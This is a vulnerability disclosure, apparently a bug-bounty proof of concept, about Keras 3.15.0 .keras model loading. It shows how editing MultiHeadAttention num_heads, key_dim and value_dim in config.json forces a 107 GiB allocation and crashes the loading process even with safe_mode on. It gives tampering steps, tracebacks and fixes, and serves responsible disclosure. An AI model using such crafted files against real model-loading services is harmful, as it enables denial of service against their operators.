EnigmaConsultant/huntr-poc-keras-mha-numheads-keydim-buildconfig-alloc-oom

Keras .keras v3 — MultiHeadAttention num_heads/key_dim drives an unbounded build-time weight allocation (OOM DoS) via build_from_config

Target: keras (keras-team/keras), version 3.15.0 (numpy backend; same code path exists on all backends) Class: CWE-789 Memory Allocation with Excessive Size Value / CWE-400 Uncontrolled Resource Consumption Impact: Denial of Service (out-of-memory kill of the loading process). A ~3.3 KB crafted model file forces a 107 GiB single-array allocation at load time, before any real weight data is read. safe_mode=True provides no protection.

---

Summary

When Keras loads a .keras v3 archive it reconstructs each layer from config.json and then, for layers that stored a build_config, unconditionally replays that build. For a MultiHeadAttention layer the build materializes nested EinsumDense kernels whose shape is a product of two attacker-controlled integers — num_heads * key_dim (and value_dim). These integers are validated only to be positive; there is no upper bound and no cross-check against the actual stored weights. A tiny edit to three integers in config.json therefore causes an arbitrarily large array to be allocated (and, on the numpy backend, in float64 — an extra 8x over the nominal float32 weight) while the archive's stored model.weights.h5 remains benign and unchanged.

Root cause

Load path (verified frames, keras 3.15.0):

saving_lib.load_model
  -> _load_model_from_fileobj -> _model_from_config
  -> serialization_lib.deserialize_keras_object
       serialization_lib.py:787   instance.build_from_config(build_config)   # unconditional, no size validation
  -> layer.py:493                 self.build(**config["shapes_dict"])
  -> multi_head_attention.py:303  self._query_dense.build(query_shape)
  -> einsum_dense.py:212          self._kernel = self.add_weight(...)         # kernel shape = (feat, num_heads, key_dim)
  -> backend/numpy/random.py:23   rng.uniform(size=shape, ...).astype(dtype) # GlorotUniform materializes in float64
  -> numpy _ArrayMemoryError

serialization_lib.py:787 calls build_from_config for every layer with no validation of the resulting weight sizes:

# keras/src/saving/serialization_lib.py  (~line 787)
build_config = config.get("build_config", None)
if build_config:
    instance.build_from_config(build_config)   # <-- attacker-controlled shapes replayed, unbounded
    ...

MultiHeadAttention.build constructs the projection sublayers directly from config integers:

# keras/src/layers/attention/multi_head_attention.py  (~line 303)
self._query_dense.build(query_shape)   # EinsumDense kernel = (query_feature_dim, num_heads, key_dim)

num_heads, key_dim, value_dim are only checked to be positive integers — no upper bound, no consistency check against the stored weights:

# keras/src/layers/attention/multi_head_attention.py  (~lines 137-145)
if not isinstance(num_heads, int) or num_heads <= 0: ...
if not isinstance(key_dim, int)  or key_dim  <= 0: ...
# value_dim likewise -- positivity only

EinsumDense.build then materializes the kernel through the GlorotUniform initializer; on the numpy backend the initializer produces the array in float64 (backend/numpy/random.py:23), doubling-down (8x) on the allocation before the eventual cast to float32.

Because the kernel shape is the product num_heads * key_dim, a tiny config yields an enormous allocation, and none of it corresponds to any real data in the archive. safe_mode=True gives no protection — it only guards the __lambda__ deserialization special-case, not the build_from_config shape path.

Proof of Concept

1. Build a genuine functional model and save it normally:

import keras
from keras import layers
q = keras.Input((4, 8)); v = keras.Input((4, 8))
o = layers.MultiHeadAttention(num_heads=2, key_dim=3)(q, v)
keras.Model([q, v], o).save("base.keras")   # 30,579 bytes, loads fine

2. Open the ZIP, keep metadata.json and the original tiny model.weights.h5 untouched, and edit just three integers in the MultiHeadAttention layer's config.json: num_heads = 2, key_dim = 900000000, value_dim = 900000000. Repackage as a valid .keras ZIP -> mod_huge.keras (3,345 bytes).

3. Load it:

import keras
keras.saving.load_model("mod_huge.keras", compile=False, safe_mode=True)
# -> MemoryError: Unable to allocate 107. GiB, shape (8, 2, 900000000), float64

A moderate variant (key_dim = 1,000,000) loads far enough to allocate the giant build-time kernel and raises peak RSS well above the ~210 MB baseline before failing on a weight-count mismatch — empirically proving the allocation is config-driven and happens before any weight data is validated.

PoC artifacts (in this repo / local workspace keras-pypi-audit/mha-hunt/): base.keras, mod_moderate.keras, mod_huge.keras, tamper.py, reverify_np.py, loadnp.py, loadfull.py.

Captured evidence (verbatim)

Original verified run:

=== NEG CONTROL base (numpy backend) ===
LOADED ok
query kernel shape (8, 2, 3)
peak RSS MB=209.6

=== HUGE num_heads=2 key_dim=9e8 (numpy backend, NO rlimit), mod_huge.keras = 3,345 bytes ===
  File ".../keras/src/saving/serialization_lib.py", line 787, in deserialize_keras_object
    instance.build_from_config(build_config)
  File ".../keras/src/layers/layer.py", line 493, in build_from_config
    self.build(**config["shapes_dict"])
  File ".../keras/src/layers/attention/multi_head_attention.py", line 303, in build
    self._query_dense.build(query_shape)
  File ".../keras/src/layers/core/einsum_dense.py", line 212, in build
  File ".../keras/src/backend/numpy/random.py", line 23, in uniform
    return rng.uniform(size=shape, low=minval, high=maxval).astype(dtype)
numpy._core._exceptions._ArrayMemoryError: Unable to allocate 107. GiB for an array with shape (8, 2, 900000000) and data type float64

Independent fresh re-reproduction (keras 3.15.0, numpy backend, this packaging run):

=== NEG CONTROL base ===
keras 3.15.0 backend numpy
LOADED ok base.keras
query_dense kernel shape: (8, 2, 3)
peak RSS MB=209.6  elapsed=0.0s

=== MODERATE (mod_moderate.keras, key_dim=1e6) ===
Layer 'key' expected 2 variables, but received 0 variables during loading.  # fails only AFTER huge build alloc
peak RSS MB=604.4  elapsed=0.9s        # baseline ~210 MB -> 604 MB from build-time allocation

=== HUGE (mod_huge.keras = 3,345 bytes) ===
  File ".../keras/src/saving/serialization_lib.py", line 787, in deserialize_keras_object
    instance.build_from_config(build_config)
  File ".../keras/src/layers/layer.py", line 493, in build_from_config
    self.build(**config["shapes_dict"])
  File ".../keras/src/layers/attention/multi_head_attention.py", line 303, in build
    self._query_dense.build(query_shape)
  File ".../keras/src/layers/core/einsum_dense.py", line 212, in build
    self._kernel = self.add_weight(
  File ".../keras/src/initializers/random_initializers.py", line 316, in __call__
  File ".../keras/src/backend/numpy/random.py", line 23, in uniform
    return rng.uniform(size=shape, low=minval, high=maxval).astype(dtype)
numpy._core._exceptions._ArrayMemoryError: Unable to allocate 107. GiB for an array with shape (8, 2, 900000000) and data type float64

Impact & attack surface

Any service or user that loads a .keras model from an untrusted source (model hubs, shared checkpoints, CI pipelines, MLOps auto-loaders) can be crashed by a ~3 KB file. The archive passes normal structural expectations (valid metadata.json, valid benign model.weights.h5), and safe_mode=True — the documented mitigation for untrusted models — does not block it because the allocation happens in the layer build path, not the lambda/deserialization path.

Suggested remediation

• In build_from_config / the MHA build path, validate that reconstructed weight shapes are consistent with the sizes actually present in model.weights.h5 before allocating, and/or enforce a configurable upper bound on per-tensor element counts.
• Do not materialize (random-initialize) weights during a load that is about to overwrite them from stored data — build shapes then load, or allocate lazily.
• On the numpy backend, avoid the float64 intermediate in GlorotUniform/random.uniform (generate directly at the target dtype).

Dedup / prior-art note

This is a distinct sink from other Keras load-time allocation reports:

• It is not the legacy HDF5 (.h5) model_config layer-dim path.
• It is not Embedding.input_dim, AUC.num_thresholds, IoU.num_classes, the numpy-dtype subarray path, or the config.json JSON-size bomb.
• It is specific to MultiHeadAttention's num_heads/key_dim/value_dim flowing through build_from_config -> nested EinsumDense kernel allocation, where the offending shape is the product of two attacker integers and is decoupled from the actual stored weights.

No CVE is currently assigned to this specific MultiHeadAttention build-config allocation path as of packaging (2026-07-16).